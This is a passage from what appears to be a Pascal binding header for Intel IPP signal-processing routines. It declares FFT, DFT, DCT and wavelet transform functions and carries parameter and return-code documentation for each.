function ippiFFTInv_PackToR_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_CToC_32fc_C1IR( pSrcDst : Ipp32fcPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_CToC_32fc_C1IR( pSrcDst : Ipp32fcPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for DFT Functions
----------------------------------------------------------------------------
DFT Context Functions
{ ----------------------------------------------------------------------------
Name: ippiDFTInit
Purpose: Initializes the DFT context structure
Parameters:
roiSize Size of the ROI
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pDFTSpec Double pointer to the DFT context structure
pMemInit Pointer to initialization buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr Invalid roiSize
ippStsSizeErr roiSize has a field with zero or negative value
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippiDFTInit_C_32fc( roiSize : IppiSize ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppiDFTSpec_C_32fcPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInit_R_32f( roiSize : IppiSize ; flag : Int32 ; hint : IppHintAlgorithm ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDFTGetSize
Purpose: Computes the size of the DFT context structure and the size
of the required work buffer (in bytes)
Parameters:
roiSize Size of the ROI
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pSizeSpec Pointer to the size value of DFT specification structure
pSizeInit Pointer to the size value of the buffer for DFT initialization function
pSizeBuf Pointer to the size value of the DFT external work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr Invalid roiSize
ippStsSizeErr roiSize has a field with zero or negative value
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippiDFTGetSize_C_32fc( roiSize : IppiSize ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippiDFTGetSize_R_32f( roiSize : IppiSize ; flag : Int32 ; hint : IppHintAlgorithm ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DFT Transforms
{ ----------------------------------------------------------------------------
Name: ippiDFTFwd, ippiDFTInv
Purpose: Performs forward or inverse DFT of an image
Parameters:
pDFTSpec Pointer to the DFT context structure
pSrc Pointer to source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place)
srcDstStep Step through the source/destination image (in-place)
pBuffer Pointer to the external work buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsStepErr srcStep or dstStep value is zero or negative
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation error
}
function ippiDFTFwd_CToC_32fc_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fcPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_CToC_32fc_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fcPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_CToC_32fc_C1IR( pSrcDst : Ipp32fcPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_CToC_32fc_C1IR( pSrcDst : Ipp32fcPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTFwd_RToPack_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDFTInv_PackToR_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; pDFTSpec : IppiDFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for DCT Functions
----------------------------------------------------------------------------
DCT Context Functions
{ ----------------------------------------------------------------------------
Name: ippiDCTFwdInit, ippiDCTInvInit
Purpose: Initializes the forward/inverse DCT context structure
Parameters:
pDCTSpec Pointer to the DCT context structure
roiSize Size of the ROI
pMemInit Pointer to the temporary work buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pDCTSpec == NULL
ippStsSizeErr roiSize has a field with zero or negative value
}
function ippiDCTFwdInit_32f( pDCTSpec : IppiDCTFwdSpec_32fPtr ; roiSize : IppiSize ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTInvInit_32f( pDCTSpec : IppiDCTInvSpec_32fPtr ; roiSize : IppiSize ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DCT Buffer Size
{ ----------------------------------------------------------------------------
Name: ippiDCTFwdGetSize, ippiDCTInvGetSize
Purpose: Computes the size of the forward/inverse DCT context structure and the size
of the required work buffer (in bytes)
Parameters:
roiSize Size of the ROI
pSizeSpec Pointer to the size value of DCT context structure
pSizeInit Pointer to the size value of the buffer for DCT initialization function
pSizeBuf Pointer to the size value of the DCT external work buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
}
function ippiDCTFwdGetSize_32f( roiSize : IppiSize ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
function ippiDCTInvGetSize_32f( roiSize : IppiSize ; pSizeSpec : Int32Ptr ; pSizeInit : Int32Ptr ; pSizeBuf : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
DCT Transforms
{ ----------------------------------------------------------------------------
Name: ippiDCTFwd, ippiDCTInv
Purpose: Performs forward or inverse DCT of an image
Parameters:
pDCTSpec Pointer to the DCT context structure
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pBuffer Pointer to the work buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsStepErr srcStep or dstStep value is zero or negative
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation error
}
function ippiDCTFwd_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTFwd_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTFwd_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTFwd_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTFwdSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTInv_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTInv_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTInv_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDCTInv_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pDCTSpec : IppiDCTInvSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
8x8 DCT Transforms
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8Fwd_16s_C1, ippiDCT8x8Fwd_16s_C1I
ippiDCT8x8Inv_16s_C1, ippiDCT8x8Inv_16s_C1I
ippiDCT8x8Fwd_16s_C1R
ippiDCT8x8Inv_16s_C1R
Purpose: Performs forward or inverse DCT in the 8x8 buffer for 16s data
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
pSrcDst Pointer to the source and destination buffer (in-place operations)
srcStep Step through the source image (operations with ROI)
dstStep Step through the destination image (operations with ROI)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsStepErr srcStep or dstStep value is zero or negative
Notes:
Source data for inverse DCT functions must be the result of the forward DCT
of data from the range [-256,255]
}
function ippiDCT8x8Fwd_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Fwd_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Fwd_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_16s_C1R( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; dstStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8Inv_2x2_16s_C1, ippiDCT8x8Inv_2x2_16s_C1I
ippiDCT8x8Inv_4x4_16s_C1, ippiDCT8x8Inv_4x4_16s_C1I
Purpose: Performs inverse DCT of nonzero elements in the top left quadrant
of size 2x2 or 4x4 in the 8x8 buffer
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
pSrcDst Pointer to the source/destination buffer (in-place operations)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
Notes:
Source data for these functions must be the result of the forward DCT
of data from the range [-256,255]
}
function ippiDCT8x8Inv_2x2_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_4x4_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_2x2_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_4x4_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8To2x2Inv_16s_C1, ippiDCT8x8To2x2Inv_16s_C1I
ippiDCT8x8To4x4Inv_16s_C1, ippiDCT8x8To4x4Inv_16s_C1I
Purpose: Inverse Discrete Cosine Transform 8x8 for 16s data and
downsampling of the result from 8x8 to 2x2 or 4x4 by averaging
Arguments:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
pSrcDst Pointer to the source/destination buffer (in-place operations)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
Notes:
Source data for these functions must be the result of the forward DCT
of data from the range [-256,255]
}
function ippiDCT8x8To2x2Inv_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8To4x4Inv_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8To2x2Inv_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8To4x4Inv_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8Inv_A10_16s_C1, ippiDCT8x8Inv_A10_16s_C1I
Purpose: Performs inverse DCT in the 8x8 buffer for 10 bits 16s data
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
Notes:
Source data for these functions must be the result of the forward DCT
of data from the range [-512,511]
}
function ippiDCT8x8Inv_A10_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_A10_16s_C1I( pSrcDst : Ipp16sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8Fwd_8u16s_C1R
ippiDCT8x8Inv_16s8u_C1R
Purpose: Performs forward and inverse DCT in 8x8 buffer
for 16s data with conversion from/to 8u
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
srcStep Step through the source image
dstStep Step through the destination image
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsStepErr srcStep or dstStep value is zero or negative
}
function ippiDCT8x8Fwd_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_16s8u_C1R( pSrc : Ipp16sPtr ; pDst : Ipp8uPtr ; dstStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8FwdLS_8u16s_C1R
Purpose: Performs forward DCT in 8x8 buffer for 16s data
with conversion from 8u and level shift
Parameters:
pSrc Pointer to start of source buffer
pDst Pointer to start of destination buffer
srcStep Step the source buffer
addVal Constant value adding before DCT (level shift)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsStepErr srcStep value is zero or negative
}
function ippiDCT8x8FwdLS_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; addVal : Ipp16s ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8InvLSClip_16s8u_C1R
Purpose: Performs inverse DCT in 8x8 buffer for 16s data
with level shift, clipping and conversion to 8u
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
dstStep Step through the destination image
addVal Constant value adding after DCT (level shift)
clipDown Constant value for clipping (MIN)
clipUp Constant value for clipping (MAX)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr dstStep value is zero or negative
}
function ippiDCT8x8InvLSClip_16s8u_C1R( pSrc : Ipp16sPtr ; pDst : Ipp8uPtr ; dstStep : Int32 ; addVal : Ipp16s ; clipDown : Ipp8u ; clipUp : Ipp8u ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDCT8x8Fwd_32f_C1, ippiDCT8x8Fwd_32f_C1I
ippiDCT8x8Inv_32f_C1, ippiDCT8x8Inv_32f_C1I
Purpose: Performs forward or inverse DCT in the 8x8 buffer for 32f data
Parameters:
pSrc Pointer to the source buffer
pDst Pointer to the destination buffer
pSrcDst Pointer to the source and destination buffer (in-place operations)
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
}
function ippiDCT8x8Fwd_32f_C1( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_32f_C1( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ): IppStatus; _ippapi
function ippiDCT8x8Fwd_32f_C1I( pSrcDst : Ipp32fPtr ): IppStatus; _ippapi
function ippiDCT8x8Inv_32f_C1I( pSrcDst : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Wavelet Transform Functions for User Filter Banks
---------------------------------------------------------------------------- }
{
Name: ippiWTFwdGetSize_32f
Purpose: Get sizes, in bytes, of the ippiWTFwd spec structure and the work buffer.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
lenLow - Length of the lowpass filter.
anchorLow - Anchor position of the lowpass filter.
lenHigh - Length of the highpass filter.
anchorHigh - Anchor position of the highpass filter.
pSpecSize - Pointer to the size of the ippiWTFwd spec structure (in bytes).
pBufSize - Pointer to the size of the work buffer (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when lenLow or lenHigh is less than 2.
ippStsAnchorErr - Error when anchorLow or anchorHigh is less than zero.
}
function ippiWTFwdGetSize_32f( numChannels : Int32 ; lenLow : Int32 ; anchorLow : Int32 ; lenHigh : Int32 ; anchorHigh : Int32 ; var pSpecSize : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{
Name: ippiWTFwdInit_
Purpose: Initialize forward wavelet transform spec structure.
Parameters:
pSpec - Pointer to pointer to allocated ippiWTFwd spec structure.
pTapsLow - Pointer to lowpass filter taps.
lenLow - Length of lowpass filter.
anchorLow - Anchor position of lowpass filter.
pTapsHigh - Pointer to highpass filter taps.
lenHigh - Length of highpass filter.
anchorHigh - Anchor position of highpass filter.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when lenLow or lenHigh is less than 2.
ippStsAnchorErr - Error when anchorLow or anchorHigh is less than zero.
}
function ippiWTFwdInit_32f_C1R( pSpec : IppiWTFwdSpec_32f_C1RPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; anchorLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; anchorHigh : Int32 ): IppStatus; _ippapi
function ippiWTFwdInit_32f_C3R( pSpec : IppiWTFwdSpec_32f_C3RPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; anchorLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; anchorHigh : Int32 ): IppStatus; _ippapi
{
Name: ippiWTFwd_32f_C1R
ippiWTFwd_32f_C3R
Purpose: Performs wavelet decomposition of an image.
Parameters:
pSrc Pointer to source image ROI;
srcStep Step in bytes through the source image;
pApproxDst Pointer to destination "approximation" image ROI;
approxStep Step in bytes through the destination approximation image;
pDetailXDst Pointer to the destination "horizontal details" image ROI;
detailXStep Step in bytes through the destination horizontal detail image;
pDetailYDst Pointer to the destination "vertical details" image ROI;
detailYStep Step in bytes through the destination "vertical details" image;
pDetailXYDst Pointer to the destination "diagonal details" image ROI;
detailXYStep Step in bytes through the destination "diagonal details" image;
dstRoiSize ROI size for all destination images.
pSpec Pointer to the context structure.
Returns:
ippStsNoErr OK;
ippStsNullPtrErr One of pointers is NULL;
ippStsSizeErr dstRoiSize has a field with zero or negative value;
ippStsContextMatchErr Invalid context structure.
Notes:
No any fixed borders extension (wrap, symm.) will be applied!
Source image must have valid and accessible border data outside of ROI.
Only the same ROI sizes for destination images are supported.
Source ROI size should be calculated by the following rule:
srcRoiSize.width = 2 * dstRoiSize.width;
srcRoiSize.height = 2 * dstRoiSize.height.
Conventional tokens for destination images have next meaning:
"Approximation" - image obtained by vertical
and horizontal lowpass filtering.
"Horizontal detail" - image obtained by vertical highpass
and horizontal lowpass filtering.
"Vertical detail" - image obtained by vertical lowpass
and horizontal highpass filtering.
"Diagonal detail" - image obtained by vertical
and horizontal highpass filtering.
These tokens are used only for identification convenience.
}
function ippiWTFwd_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pApproxDst : Ipp32fPtr ; approxStep : Int32 ; pDetailXDst : Ipp32fPtr ; detailXStep : Int32 ; pDetailYDst : Ipp32fPtr ; detailYStep : Int32 ; pDetailXYDst : Ipp32fPtr ; detailXYStep : Int32 ; dstRoiSize : IppiSize ; pSpec : IppiWTFwdSpec_32f_C1RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWTFwd_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pApproxDst : Ipp32fPtr ; approxStep : Int32 ; pDetailXDst : Ipp32fPtr ; detailXStep : Int32 ; pDetailYDst : Ipp32fPtr ; detailYStep : Int32 ; pDetailXYDst : Ipp32fPtr ; detailXYStep : Int32 ; dstRoiSize : IppiSize ; pSpec : IppiWTFwdSpec_32f_C3RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Name: ippiWTInvGetSize_32f
Purpose: Get sizes, in bytes, of the WTInv spec structure and the work buffer.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
lenLow - Length of the lowpass filter.
anchorLow - Anchor position of the lowpass filter.
lenHigh - Length of the highpass filter.
anchorHigh - Anchor position of the highpass filter.
pSpecSize - Pointer to the size of the ippiWTInv spec structure (in bytes).
pBufSize - Pointer to the size of the work buffer (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when lenLow or lenHigh is less than 2.
ippStsAnchorErr - Error when anchorLow or anchorHigh is less than zero.
}
function ippiWTInvGetSize_32f( numChannels : Int32 ; lenLow : Int32 ; anchorLow : Int32 ; lenHigh : Int32 ; anchorHigh : Int32 ; var pSpecSize : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{
Name: ippiWTInvInit_
Purpose: Initialize inverse wavelet transform spec structure.
Parameters:
pSpec - Pointer to pointer to allocated ippiWTInv spec structure.
pTapsLow - Pointer to lowpass filter taps.
lenLow - Length of lowpass filter.
anchorLow - Anchor position of lowpass filter.
pTapsHigh - Pointer to highpass filter taps.
lenHigh - Length of highpass filter.
anchorHigh - Anchor position of highpass filter.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when lenLow or lenHigh is less than 2.
ippStsAnchorErr - Error when anchorLow or anchorHigh is less than zero.
}
function ippiWTInvInit_32f_C1R( pSpec : IppiWTInvSpec_32f_C1RPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; anchorLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; anchorHigh : Int32 ): IppStatus; _ippapi
function ippiWTInvInit_32f_C3R( pSpec : IppiWTInvSpec_32f_C3RPtr ; pTapsLow : Ipp32fPtr ; lenLow : Int32 ; anchorLow : Int32 ; pTapsHigh : Ipp32fPtr ; lenHigh : Int32 ; anchorHigh : Int32 ): IppStatus; _ippapi
{
Name: ippiWTInv_32f_C1R
ippiWTInv_32f_C3R
Purpose: Performs wavelet reconstruction of an image.
Parameters:
pApproxSrc Pointer to the source "approximation" image ROI;
approxStep Step in bytes through the source approximation image;
pDetailXSrc Pointer to the source "horizontal details" image ROI;
detailXStep Step in bytes through the source horizontal detail image;
pDetailYSrc Pointer to the source "vertical details" image ROI;
detailYStep Step in bytes through the source "vertical details" image;
pDetailXYSrc Pointer to the source "diagonal details" image ROI;
detailXYStep Step in bytes through the source "diagonal details" image;
srcRoiSize ROI size for all source images.
pDst Pointer to the destination image ROI;
dstStep Step in bytes through the destination image;
pSpec Pointer to the context structure;
pBuffer Pointer to the allocated buffer for intermediate operations.
Returns:
ippStsNoErr OK;
ippStsNullPtrErr One of the pointers is NULL;
ippStsSizeErr srcRoiSize has a field with zero or negative value;
ippStsContextMatchErr Invalid context structure.
Notes:
No any fixed borders extension (wrap, symm.) will be applied! Source
